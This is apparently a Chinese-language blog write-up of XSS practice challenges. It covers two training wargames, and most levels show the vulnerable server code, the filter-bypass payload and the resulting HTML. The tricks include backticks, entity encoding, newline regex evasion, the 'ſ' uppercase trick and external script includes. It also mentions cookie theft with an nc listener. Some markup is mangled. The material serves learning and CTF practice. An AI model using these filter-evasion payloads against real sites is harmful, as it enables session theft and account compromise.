XSS小结
XSS总结
那些年我们没能bypass的xss filter
XSS Filter Evasion Cheat Sheet 中文版
XSS攻击手段&在CTF中的运用
aa
aa
aa
需要用编码绕过时:
Base64:M
urlencode:M
HTML实体编码 :M
aa
bb
cc
Cookie盗取:
nc监听端口1234
Tips:
- 反引号代替圆括号
- 换行绕过正则
- ,也可以用--!>闭合
- //可以用换行来绕过
- 都可以在html的script标签里单独使用进行单行注释
- ſ 符号转换为大写后正好为大写字母 S
- 可以用 %0a 代替空格进行绕过
JS提供了四种字符编码的策略,
\141
\x61
\u0061
\n
和\r
命名实体
以&
开头,以分号结尾的,如<
的编码为&1t;
字符编码
十进制,十六进制的ASCII码或者Unicode字符编码。样式为数值;
如<
的编码为
<
(10进制)
<
(16进制)
这里为url全编码,也就是两次url编码
如alert的url全编码为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34
如alert的编码为String.fromCharCode(97,108,101,114,116)
项目:https://github.com/haozi/xss-demo
地址:https://xss.haozi.me
包含alert(1)的js文件地址:https://xss.haozi.me/j.js
过关方式:构造input code,成功执行alert(1)
server code:
function render (input) {
return '' + input + ''
}
直接构造js语句即可。
payload:
<script>alert(1)script>
html:
<div><script>alert(1)script>div>
server code:
function render (input) {
return ' + input + ''
}
这一关插入的地方在html标签里面,所以要先闭合标签,再进行构造。
nput code:
textarea><script>alert(1)script>
html:
<textarea>textarea><script>alert(1)script>textarea>
server code:
function render (input) {
return '+ input + '">'
}
input的地方在尖括号内部,需要先闭合尖括号。
payload:
"><script>alert(1)script>
html:
<input type="name" value=""><script>alert(1)script>">
server code:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
这一关用正则表达式过滤了括号(替换为空),这里有个小tip,可以用反引号代替圆括号。
其他关于过滤圆括号的一些方法,可参考:XSS相关一些个人Tips
payload:
<script>alert`1`script>
html:
<script>alert`1`script>
server code:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号和反引号,所以上一关的方法就不能用了。
可以用各种编码进行绕过,如url编码、html实体编码。
标签中可以直接执行实体字符,payload2iframe
标签的srcdoc
属性,srcdoc
里的代码会作为iframe
中的内容显示出来,srcdoc
中可以直接去写转译后的html片段,payload3payload:
<svg><script>alert(1)script>
<iframe srcdoc="">
server code:
function render (input) {
input = input.replace(/-->/g, '?')
return ''
}
这一关将html中的注释符-->
替换成了一个表情,并且输入的内容是包含在一段注释符里的。
html通常的的注释符为:,测试发现
、
同样可已用来注释,这里可利用
--!>
来闭合。
payload:
--!><script>alert(1)script>
html:
<!-- --!><script>alert(1)script>
server code:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `${input} type="text">`
}
过滤了以auto
、on
开头,=
结尾的标签属性,并用下划线_
进行替换,同时忽略大小写。
这里可以用换行来绕过正则的检查。
payload:
onmouseover
=alert(1)
或
type=image src onerror
=alert(1)
html:
或
server code:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `${input}`
}
正则匹配了以<
或开头,
>
或/>
结尾的标签,并替换为空。
浏览器容错性运行去掉最后面的>
,所以可以去掉它来绕过正则。
payload:(最后还有个空格或回车)
html:
<article>article>
server code:
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
`
}
过滤了标签,忽略大小写。
因为我们需要用到来闭合标签,所以依旧可以通过换行绕过正则,或者用
(多加了一个空格),也可以进行绕过。
payload:
style
><script>alert(1)script>
html:
<style>
style>
server code:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return ``
}
return 'Invalid URL'
}
要求输入的值要以https://www.segmentfault.com
开头,否则返回Invalid URL
payload:
https://www.segmentfault.com">script><a href="" onmouseover=alert(1)>Lethea>
html:
<script src="https://www.segmentfault.com">script><a href="" onmouseover=alert(1)>Lethea>">script>
server code:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return ``
}
return 'Invalid URL'
}
同样要求输入的值要以https://www.segmentfault.com
开头,但是过滤了& ' " < > /
,这个过滤。
前面给出的包含alert(1)的js文件就派上用场了。
利用URL的@特性引入js,过滤后的html实体编码在html标签属性值中无影响,直接解析。
payload:
https://www.segmentfault.com@xss.haozi.me/j.js
但是...在这里却不行
html:
<script src="https://www.segmentfault.com@xss.haozi.me/j.js">script>
server code:
function render (input) {
input = input.toUpperCase()
return `${input}`
}
这里将输入值全部转换成了大写。
因此这里可以利用html标签引用外部js资源,但是这里引用前面给的https://xss.haozi.me/j.js还是不行,根据官方解答,需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行…无语。
但这里也可利用html实体编码来进行绕过,alert(1)的html实体编码为alert(1)
payload:
<img src="x" onerror=alert(1)>
html:
<h1><IMG SRC="X" ONERROR=alert(1)>h1>
server code:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return ''
+ input + ''
}
将script替换为空,正则全局匹配且不区分大小写.
这里可以直接用上一题的payload…也可以双写script,引用外部js资源,同样还是需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行…
payload:
<scscriptript src="https://www.segmentfault.com.haozi.me/j.js">scscriptript>>
html:
<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS">SCRIPT>>h1>
server code:
function render (input) {
input = input.replace(/["']/g, '')
return `
`
}
过滤了< / " '
,但input的地方前面有个//,这是js的单行注释符,可以通过换行来绕过,然后再用-->
将后面的')
注释掉。
经过我自己的测试,都可以在html的
script
标签里单独使用进行单行注释.,这里<
被过滤了,所以使用-->
payload:
alert(1);
-->
html:
<script>
// alert('
alert(1);
-->')
script>
server code:
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return ''
+ input + ''
}
匹配以<
起始的字符,替换为<_$1
,并且把输入转换为大写,这样这样的标签就都用不了了。
这里有个tip:
发现了一个ſ
字符,是古英语中s
的写法,但现在不会当作英文字母a-zA-Z,关键是ſ
转换为大写后正好为S
,这样就可以绕过正则使用标签引如外部js。
payload:
<ſcript src="https://www.segmentfault.com.haozi.me/j.js">script>
html:
<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS">SCRIPT>h1>
server code:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `${escapeHtml(input)}')">`
}
过滤了& ' " < > /
,转换为了html实体编码,但是由于input code在img标签内,所以html实体编码是可以被直接解析的。
所以闭合前面的标签,在构造语句即可。
payload:
');alert('1
html:
<img src onerror="console.error('');alert('1')">
实际上就是
<img src onerror="console.error('');alert('1')">
server code:
function render (input) {
return `
`
}
由于input实在script标签里面,且没有任何过滤,所以直接闭合前面的语句,构造下一条语句即可。
payload:
'';alert(1)
html:
<script>
window.data = '';alert(1)
script>
server code:
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
`
}
用反斜杠转移了一堆字符,但是"
被转义成\"
正好可以闭合console.log("\")
,既然闭合了前面的语句那么之后就构造后面的语句就行了。
payload:
"),alert(1)//
");alert("1
"),alert(1)("
这三个都可以..
html:
<script>
var url = 'javascript:console.log("\"),alert(1)\/\/")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
script>
server code:
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return ''
}
匹配"
替换为\"
,这里直接用\")
闭合前面的双引号会被转义,所以在加一个\
来转义\
即可。
payload:
\");alert(1);script>
html:
<script>console.log("\\");alert(1);script>");script>
这一套题主要是熟悉一下基本绕过方式,实战性不是很强,初学XSS还需继续努力。
那么就再刷一套题吧
题目地址:http://test.xss.tv/
输入的地方,在h2标签内,先闭合标签再构造。
payload:
输入点在input标签内部
,所以先闭合input
标签。
payload:
">
这一关输入点,同样在input
标签的value
值内,尝试上一关闭合标签构造,但是没有成功。
双引号闭合value="
失败,单引号闭合成功。
然后利用onclick、onmouseover等事件进行弹窗。
注释掉后面的代码。
payload:
' onmouseover=alert(1)//
与上一关类似,用双引号闭合value="
即可。
payload:
" onclick=alert(1)//
这一关会将script
替换成scr_ipt
,on
也会被替换成o_n
。
payload:
">Lethe//
这一关在上一关的基础上,多过滤了href
、src
、data
。
经测试,可以利用大小写进行绕过。
payload:
">Lethe//
先用之前的payload进行测试,发现href
和script
直接消失了,于是尝试双写绕过,成功。
payload:
">Lethe//
这一关和前面稍有不同,可以添加友情链接,添加过后的内容直接包含在友情链接
里面。
于是先尝试javascritpt:alert(1)
,但是script
同样被替换成了scr_ipt
。
因为html标签内可以直接解析html实体编码,于是尝试用实体编码绕过。
payload:
javascript:alert(1)
和上题类似,但是这里对链接有了一定要求,必须包含http://
,却没有要求一定要在开头…不知道有什么意义
所以直接在构造的语句最后加上http://
绕过检测,再注释掉即可。
payload:
javascript:alert(1)//http://
这题没有输入框,url上给了一个keyword参数,尝试闭合再构造,虽然回显的内容没有过滤,但是却不会弹窗,查看源码,发现还有一个隐藏的form表单,看看能否利用。
尝试?t_link=Lethe&t_history=Lethe&t_sort=Lethe
于是进行构造,发现尖括号被过滤了,于是利用事件进行弹窗。
payload:
?t_sort=" type=image src=x onerror=alert(1)//
用上一关的payload进行测试,发现双引号也被过滤了,应该又要换个思路了。
重新打开页面观察源码,看到一个可疑的地方,那新增的一个参数不是白加的,当你从第10关跳到第11关时,t_ref
的value值是页面的Referer的值。
于是在跳转的时候抓包修改Referer的值为" type=text onclick="alert(1)
,如下:
然后在Target界面Forward,回到闯关页面发现已成功注,点击输入框即可弹窗。
payload:
" type=text onclick="alert(1)
抓包修改Cookie为:user=" type=text onclick="alert(1)
即可
进入14关,没有输入框,url中没有参数,查看源码,发现使用了
标签引入了http://www.exifviewer.org/
但是我这边一直打不开http://www.exifviewer.org/
,根据网上的题解,上传一个含有xss代码的图片触发xss,关于exif xss这一题的解法,可参考:https://xz.aliyun.com/t/1206
页面什么都没有,那么直接看源码
第一眼看貌似也没什么,实际上还是因为我对js不是很熟悉…搜索得到,这里使用了AngularJS框架的 ng-include
指令,可参考:https://www.runoob.com/angularjs/ng-ng-include.html
其实就是可以利用 ng-include
指令来包含文件>
有两默认情况下,包含的文件需要包含在同一个域名下,也就是符合SOP。
所以网上大多方法是包含了第一关的代码,如下payload:?src='level1.php?name=test'
但是我在做的过程中发现,引用的名字会直接出现在源码上:
那么理论上通过闭合也是可以的
于是尝试payload:
?src=">
输入点包含在
标签内,过滤了空格,可以用%0a
代替空格进行绕过。
payload:
?keyword=
进入之后会看到一个关于flash的什么东西,暂时先不管,做xss先找输入输出点。
url中有arg01
和arg02
两个参数,应该是输入点,查看源码发现在标签的
src
中会输出这两个参数的值,如下:
先试试闭合,发现过滤了尖括号,可以考虑用onerror
弹窗。
payload:
?arg01=&arg02= onmouseover=alert(1)
这一关和17关好像是一样的…
payload:
?arg01=&arg02= onmouseover=alert(1)
Level 19 20 好像是关于flash xss的,由于了解不多,而且现在网站用flash的也越来越少了,就不做了。
做了这两套题,这只能说是刚刚了解了XSS是什么,还要很多很多知识需要学习,尤其是要加强实战方面的运用,这就只能在以后的学习过程中慢慢积累了。